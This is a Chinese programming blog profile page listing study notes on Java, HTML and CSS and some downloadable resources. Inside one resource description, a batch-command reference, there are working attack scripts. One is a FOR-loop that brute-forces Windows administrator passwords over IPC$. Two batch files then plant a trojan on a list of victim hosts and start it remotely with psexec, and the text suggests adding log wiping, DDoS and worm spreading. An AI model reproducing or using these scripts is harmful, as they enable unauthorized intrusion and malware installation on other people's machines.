自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(29)
  • 资源 (8)
  • 收藏
  • 关注

原创 idea中启动tomcat控制台打印日志中文乱码问题处理

记2020.04.03处理idea启动派车软件项目,Tomcat Catalina Log日志打印中文乱码的问题。参考资料:https://www.cnblogs.com/benchover/p/10773098.html根本原因:Windows系统的cmd是GBK编码的,影响IDEA的下方log输出的部分的编码也是GBK的,然而Tomcat 9.0 版本默认log输出是UTF-8编码...

2020-04-03 11:19:49 2371 1

原创 程序猿学习第十天,定位网页元素

一、CSS中位网页元素使用position属性来完成元素位移 值: static为默认值; relative为相对定位,通过top,bottom,left,right来使元素相对其原来所在位置进行偏移,设置了相对定位的元素不会对相邻的元素和父容器造成任何影响,但是当如果有其他元素影响到该元素,使其原位置发生改变,则相应位移后的位置也会相应变化。 absolute绝对定位,通过以上四个方向属性

2017-05-26 17:58:26 282

原创 程序猿学习第九天,浮动和盒子模型标签属性

浮动相关属性 float属性值:left,right,none。该属性定义目标元素的浮动样式,分为左右和不浮动三种值。 clear属性值:left,right,both。该输赢用于清除浮动元素下方元素所受到的浮动影响,分别可以单独清除左右浮动影响,或者清除全部。 overflow属性值:visible,hidden,auto,scroll外层div如果不明确指定高度,会包裹内容,但包裹的内容不

2017-05-25 20:07:29 369

原创 程序猿学习第八天,关于盒子模型

一、盒子模型 内容不多,麻烦不少。 盒子模型构成:内容+内边距+边框+外边距盒子模型尺寸:网页元素尺寸+padding尺寸*2+border尺寸**2+margin尺寸*2,即为正常盒子尺寸。通过css设置一个盒子的width 和 height 实际是设置了盒子模型中网页元素的宽高; 盒子模型的背景只会覆盖边框里边的区域; 许多标签都会有默认的内外边距,并且在不同的浏览器中的边距值是不一样的

2017-05-24 21:11:13 420

原创 程序猿学习第七天,超链接样式和div

一、超链接伪类。 伪类:不是根据名称,属性,内容而是根据标签处于某种行为或者状态时的特征来修饰样式。 如超链接四个状态 a:link——未单击访问时超链接样式(一般此状态样式直接在a{}中完成修饰) a:visited——单机访问后超链接样式 a:hover——鼠标悬浮其上的超链接样式 a:active——鼠标单击未释放的超链接样式 超链

2017-05-23 17:27:12 520

原创 不熟悉的HTML标签整理

图像:<imgsrc=”图片地址” alt=”图像替代文字” title=”鼠标悬停提示文字” />网页切屏:frameset标签,不能喝body共存。 主要属性:rows=“横切”,cols=“纵切”,frame标签内通过src属性来指定所切出来每部分页面所显示的页面。 在frame中添加name属性,在超链接中添加target属性,target值为name值,

2017-05-22 20:56:48 268

原创 程序猿学习第六天,CSS

CSS:层叠样式表(Cascading Style Sheet);概念略。一、样式表类型 1.行内样式:在标签内添加style属性。 2.内部样式:在title中添加style标签。<style type="text/css"></style> 3.外部样式:创建css文件,并在HTML文件中通过link或者@import标签引用css文件。 演示优先级:行内

2017-05-22 18:13:58 236

原创 程序猿学习第四天,初级CSS预习

CSS作用: css全称:层叠样式表(Cascading Style Sheet)通称风格样式表(Style Sheet),主要用于对网页的风格和样式进行设计。 通过设立css样式表,可以统一地控制HTML中各标签的显示属性。 优势: 内容与表现分离,CSS样式表单可以单独存放在一个文件中,便于维护。 表现统一,统一网站表现和设置,后期容易修改。

2017-05-20 14:30:07 320

原创 程序猿学习第三天,框架和表单

第一部分:框架 1、frameset框架 包含frameset和frame两个标签,frameset描述窗口的分割,frame定义放置在每个框架中的HTML页面,例:<frameset cols="25%,50%,*"/rows="50%,*" border="5"> <frame src=""> <frame src=""> <frame src=""></frame

2017-05-19 14:44:03 238

原创 程序猿学习第二天,列表和表格

一、列表无序列表:有序列表:定义列表:dl 定义列表 dt 列表项 dd 可以对每一个列表项进行解释说明名二、表格//定义表格//定义行//定义单元格table的属性:border边框粗细width宽度height高度cellspacing边框间距离cellpadding边框和内容之间的距离表格对齐方式

2017-05-18 15:47:46 180

原创 程序猿学习第一天,HTML基础

HTML基础简介:HTML=hyper text makeup language=超文本标记语言一、html基本语法1 html中有且仅有一个根标签2 标签都是成对出现的,有开始标签和结束标签,如开始标签结束标签;如果开始标签和结束之间没有任何内容的话可以写成自闭标签如等3 标签和标签之间可以嵌套标签,嵌套不能混乱要么嵌套要么并列不能

2017-05-18 15:45:47 227

原创 黑马程序员_笔记总结(给自己看的向)

一、单例设计模式: *饿汉式class Single { private Single(){}//私有化构造函数 private static Single s =new Single();//创建私有静态本类对象 public static Single getInstance (){ return s; }//定义共有函数,返回对象}懒汉式cl

2015-07-19 18:39:54 1108

原创 黑马程序员_反射

简单的来说,反射机制指的是程序在运行时能够获取自身的信息。在java中,只要给定类的名字, 那么就可以通过反射机制来获得类的所有信息。 一、 1. JAVA反射机制是在运行状态中,对于任意一个类(class文件),都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象方法的功能称为java语言的反射机制。2.动态获取类

2015-07-06 21:24:54 256

原创 黑马程序员_内部类的总结

——- android培训、java培训、期待与您交流! ———-定义一个包含私有成员变量和函数的类,再定义一个内部类,在内部类函数中访问外部成员变量,并调用外部函数。在外部类函数中创建内部类对象,调用内部类函数。思路:看到内部类首先想到了内部类的访问规则:1.内部类可以直接访问外部类中的成员包括私有。2.外部类要访问内部类必须建立内部类的对象3.内部类有其他修饰符修饰时,可以看做成带修饰符的函数,

2015-06-25 20:39:39 329

转载 黑马程序员_String

——- android培训、java培训、期待与您交流! ———-1.String类String类代表的是一个字符串,字符串对象在开发中是最常见的。为了方便我们对象字符串的操作,java就把字符串用对象进行了封装,这个封装类就是String类。字符串是一个特殊的对象,字符串一旦初始化就不可以被改变String str = “abc”;String str1 = new String(“abc”);

2015-06-25 20:36:51 292

转载 黑马程序员_设计模式

——- android培训、java培训、期待与您交流! ———-设计模式:把软件行业中出现的问题进行抽取并解决。总共有23种。 对问题行之有效的解决方式,其实它是一种思想。 设计模式分为三种类型,共23种。创建型模式:单例模式、抽象工厂模式、建造者模式、工厂模式、原型模式。结构型模式:适配器模式、桥接模式、装饰模式、组合模式、外观模式、享元模式、代理模式。行为型模式:模版方法模式、命令模式、

2015-06-24 18:02:38 480

原创 黑马程序员_多线程_2

——- android培训、java培训、期待与您交流! ———-计算机CPU的运行原理 我们电脑上有很多的程序在同时进行,就好像cpu在同时处理这所以程序一样。但是,在一个时刻,单核的cpu只能运行一个程序。而我们看到的同时运行效果,只是cpu在多个进程间做着快速切换动作。 而cpu执行哪个程序,是毫无规律性的。这也是多线程的一个特性:随机性。哪个线程被cpu执行,或者说抢到了

2015-06-24 17:57:31 306

原创 黑马程序员_多线程_1

进程:一个正在执行的程序,每一个进程执行都有一个执行顺序,该顺序是一个执行路径或者控制单元线程:进程中一个独立的控制单元,线程控制着进程的执行一个进程至少有一个线程两种创建线程的方式: 一、 1、定义类,集成Thread 2、复写run方法,将自定义代码存储在run方法中,让线程运行 3、调用线程的start方法,该方法两个作用:启动线程,调用run方法二、 1、定义类实现Runnable

2015-06-24 17:40:38 287

原创 黑马程序员_关于本人对面向对象的一点小看法

今天刚刚把毕老的基础视频面向对象部分看完啦,然后整理完笔记自己总结了几条关于面向对象的想法 1、首先就是编写代码过程中要尽可能多的创建类,只要是一个可以相对独立的对象,我们就要为它创建一个类来调用它,哪怕它在之后仅仅可能被使用一次 2、然后就是类内的函数,也是要酌情尽可能多的编写,当我们需要实现一个功能,只要能拆成两个函数,就绝对不憋屈在一个函数中 3、解释上面两点就是,编写代码的过程中多创建

2015-06-23 20:02:28 329

原创 黑马程序员_JAVA的异常处理_2_总结

——- android培训、java培训、期待与您交流! ———-首先回顾一下异常处理的代码模式 try{  程序代码  }catch(异常类型1 异常的变量名1){  程序代码  }catch(异常类型2 异常的变量名2){  程序代码  }finally{  程序代码  }然后可以有三种结合方式 try-catch try-finally try-catch-finally———————

2015-06-23 19:27:11 359

原创 黑马程序员_JAVA中的关键字

private  私有 权限修饰符 用于修饰类中的成员(成员变量,成员函数)只有在本类中有效。           私有仅是封装的一种表现形式           对外提高访问方式,可以在访问方式中加入逻辑判断等语句     对访问的数据进行操作,提高代码的健壮性。this关键字     用于区分局部变量和成员变量同名情情况    特点:this代表其所在函

2015-06-22 10:16:17 280

原创 黑马程序员_JAVA网络编程

1.概述    网络之间通信的三个条件:     1.要找到对方的IP地址        InetAddress:网络中设备的标识,不易记忆,可用主机名。本地回环地址:127.0.0.1 主机名:localhost     2.要明确端口号(逻辑端口)        用于标识进程的逻辑地址,不同进程的标识,有效端口:0~65535,其中0~1024系统使用或保留端口。

2015-06-22 10:13:42 302

原创 黑马程序员_JAVA的异常处理

异常处理 异常:程序运行状态时出现的不正常情况 严重异常:JAVA通过Error类进行描述,对于Error类所描述的异常,通常不链接编写针对性代码来进行处理非严重一场:JAVA通过Exception类来进行描述,此类异常一般都会链接编写一些针对性的代码。  代码模版: try{  程序代码  }catch(异常类型1 异常的变量名1){  程序代码

2015-06-22 10:04:20 293

原创 黑马程序员_JAVA的构造方法

构造方法定义:  【修饰符】 构造方法名(形参列表)  {  }  【修饰符】:构造方法的上一级单元是类,所以修饰符可以public、protected(父子类访问权限)、private(本类访问权限)、默认(包访问权限)  【没有返回类型】  【构造方法名】:必须与类名一致  a.一般概念  构造方法不能够被继承,也就构造方法不能够被重写  构造方法是特殊的方法,

2015-06-21 16:46:07 372

原创 黑马程序员_java_基础_面向对象01

一、面向对象:是一种编程思想,与面向过程不同,不过是基于面向过程的三个特征:封装继承多态面向对象思想开发,每当需要实现一个功能的时候,就寻求实现该功能的对象,如果没有那么就创建一个 类和对象的关系类:是对现实事物的描述对象:是这类事物的真实存在 类中可以定义变量,也叫做类的成员变量,简单解释为这个类或者说对象的属性,而函数也可以说是这个对象的功能。

2015-06-19 10:54:13 286

原创 黑马程序员_java_基础_数组和排序

一、关于数组的定义和一些列操作 类似int[] arr = new int[2];或者int arr[] = new int [2];或者int[] arr = new int[]{1,2,3,4};或者int[] arr= {1,2,3,4};几种方式都是可以用来定义一个数组,然后数组名前面的修饰符int也可以切换成其它诸如byte这些。 1.数组

2015-06-19 10:52:37 296

原创 黑马程序员_java_基础_流程控制

JAVA的流程控制一、判断结构,if语句的三种格式判断结构表现为if'语句,主要用来对一些值进行判断然后进行分支选择。if语句主要用于对区间值进行判断,如对结果为boolean类型的值进行判断的时候,就可以使用if语句,相比较下面提到的switch语句,if语句虽然执行效率略低,但是应用范围更广1.if(条件表达式){执行语句;}2.if(条件表达式){执行

2015-06-19 10:51:09 282

原创 黑马程序员_JAVA_基础_02

2015年6月5日21:08一、JAVA语言的组成:关键字标识符注释常量和变量运算符语句函数数组  关键字:定义数据类型的关键字:class interface byte short int long float double char boolean void定义数据类型值的关键字ture false null定义流程控制的关键

2015-06-19 10:49:48 296

原创 黑马程序员_JAVA_基础_1

JAVA自学系列 期待与您的交流** *1. 软件:就是一系列按照特定顺序组织的计算机数据和指令的集合 开发:编写软件的过程 软件通过两种方式实现人机交互:图形化界面、命令行方式附:DOS常用命令 dir:列出当前目录下文件及文件夹 md:创建目录 rd:删除目录 cd:进入指定目录 cd…退回上级目录 cd/:退回根目录 del:删除文件 exti:退出dos命令行ec

2015-06-10 18:42:51 487

创建实体工具

down别人的那么一改,就是为了舒服一点,多了一些设置,最少可以有注释了。

2018-03-19

学生信息管理系统

总归是写完了,依然有点糊涂,要是能帮助到谁就更好了,赞美太阳

2017-06-11

判断字符串是否回文

//定义数组和变量 char [] a = new char[5]; char [] b = new char[5]; int i = 0,j = 0; //第一个循环,输入数组a for (i = 0; i < 5; i++) { a[i] = char.Parse(Console.ReadLine()); //Console.WriteLine(a[i]); } //第二个循环,输出数组a for (i = 0; i < 5; i++) Console.Write(a[i] + " "); //判断回文 for (i = 0; i < 5; i++) { if (a[i] == a[4 - i]) j++; } if (j == 5) Console.WriteLine("经鉴定,该数组是回文数组"); else Console.WriteLine("该数组显然不是回文数组"); /*//第三个循环,输入数字b for (i = 0; i < 5; i++) { b[i] = char.Parse(Console.ReadLine()); } //第四个循环,输出数组b for (i = 0; i < 5; i++) Console.Write(a[i] + " ");*/ Console.ReadLine()

2013-01-08

Dos命令大全

1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on|off}] [message] Sample篅echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 2.@ 命令 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。) 3.Goto 命令 指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 语法:goto label (label是参数,指定所要转向的批处理程序中的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 4.Rem 命令 注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。 Rem Message Sample:@Rem Here is the description. 5.Pause 命令 运行 Pause 命令时,将显示下面的消息: Press any key to continue . . . Sample: @echo off :begin copy a:*.* d:\back echo Please put a new disk into driver A pause goto begin 在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。 6.Call 命令 从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。 语法 call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 参数 [Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 7.start 命令 调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 入侵常用参数: MIN 开始时窗口最小化 SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数 执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。 8.choice 命令 choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234…… 如: choice /c:dme defrag,mem,end 将显示 defrag,mem,end[D,M,E]? Sample: Sample.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (应先判断数值最高的错误码) if errorlevel 2 goto mem if errotlevel 1 goto end :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。 9.If 命令 if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 1、if "参数" == "字符串" 待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms 2、if exist 文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。 如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。 如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。 10.for 命令 for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable for {%variable|%%variable} in (set) do command [ CommandLineOptions] %variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable 而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I 如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持: FOR /D %variable IN (set) DO command [command-parameters] 如果集中包含通配符,则指定与目录名匹配,而不与文件 名匹配。 FOR /R [[drive:]path] %variable IN (set) DO command [command- 检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录,则使用当前 目录。如果集仅为一个单点(.)字符,则枚举该目录树。 FOR /L %variable IN (start,step,end) DO command [command-para 该集表示以增量形式从开始到结束的一个数字序列。 因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 序列 (5 4 3 2 1)。 FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command 或者,如果有 usebackq 选项: FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command filenameset 为一个或多个文件名。继续到 filenameset 中的 下一个文件之前,每份文件都已被打开、读取并经过处理。 处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值 调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开 的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个 指定不同解析选项的关键字。这些关键字为: eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 指分隔符集。这个替换了空格和跳格键的 默认分隔符集。 tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代 的 for 本身。这会导致额外变量名称的 格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号, 那么额外的变量将在最后一个符号解析之 分配并接受行的保留文本。 usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且 引号字符为文字字符串命令并允许在 fi 中使用双引号扩起文件名称。 sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将 每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来 取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件 名,您需要用双引号将文件名括起来。为了用这种方式来使 用双引号,您还需要使用 usebackq 选项,否则,双引号会 被理解成是用作定义某个要分析的字符串的。 %i 专门在 for 语句中得到说明,%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行 指定最多 26 个符号,只要不试图说明一个高于字母 z 或 Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的; 同时不能有 52 个以上都在使用中。 您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是, 用单引号将括号之间的 filenameset 括起来。这样,该字符 串会被当作一个文件中的一个单一输入行。 最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将 括号之间的 filenameset 变成一个反括字符串。该字符串会 被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进 内存,并被当作文件分析。因此,以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 会枚举当前环境中的环境变量名称。 另外,FOR 变量参照的替换已被增强。您现在可以使用下列 选项语法: ~I - 删除任何引号("),扩充 %I %~fI - 将 %I 扩充到一个完全合格的路径名 %~dI - 仅将 %I 扩充到一个驱动器号 %~pI - 仅将 %I 扩充到一个路径 %~nI - 仅将 %I 扩充到一个文件名 %~xI - 仅将 %I 扩充到一个文件扩展名 %~sI - 扩充的路径只含有短名 %~aI - 将 %I 扩充到文件的文件属性 %~tI - 将 %I 扩充到文件的日期/时间 %~zI - 将 %I 扩充到文件的大小 %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个完全合格的名称。如果环境变量 未被定义,或者没有找到文件,此组合键会扩充 空字符串 可以组合修饰符来得到多重结果: %~dpI - 仅将 %I 扩充到一个驱动器号和路径 %~nxI - 仅将 %I 扩充到一个文件名和扩展名 %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个驱动器号和路径。 %~ftzaI - 将 %I 扩充到类似输出线路的 DIR 在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法 用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名 比较易读,而且避免与不分大小写的组合键混淆。 以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。 sample2: 利用For命令来实现对一台目标Win2k主机的暴力密码破解。 我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。 最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" 用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令-- for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。 sample3: 你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。 主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable) @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。 而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。 delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。 代码雏形: --------------- cut here then save as a batchfile&#40;I call it main.bat &#41; --------------------------- @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile&#40;I call it main.bat &#41; --------------------------- ------------------- cut here then save as a batchfile&#40;I call it door.bat&#41; ----------------------------- @net use \\%1\ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection …………OK @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @p***ec \\%1 c:\winnt\system32\windrv32.exe @p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile&#40;I call it door.bat&#41; -------------------------------- 这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

2013-01-08

万年历代码

前面刚刚上传了一个C#万年历的实例,现在直接把代码也扔上来吧

2013-01-06

C#语言的万年历

用C#编写的万年历软件,包含输入年份和选择月份两个功能,使用时需要先输入年份,然后选择月份,就会打印出想要的月份全月的日历

2013-01-06

仙剑网站实例

一个七页的网站实例,主题是仙剑,挺漂亮的,包含图片悬浮、图片滚动、超链接透明提示框等技术。还有页面设计都挺不错的呦~

2013-01-06

vb 6.0 MSDN

vb帮助文档,直接解压到目录文件夹下,在vb环境下就可直接查询帮助,即可!

2012-07-06

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除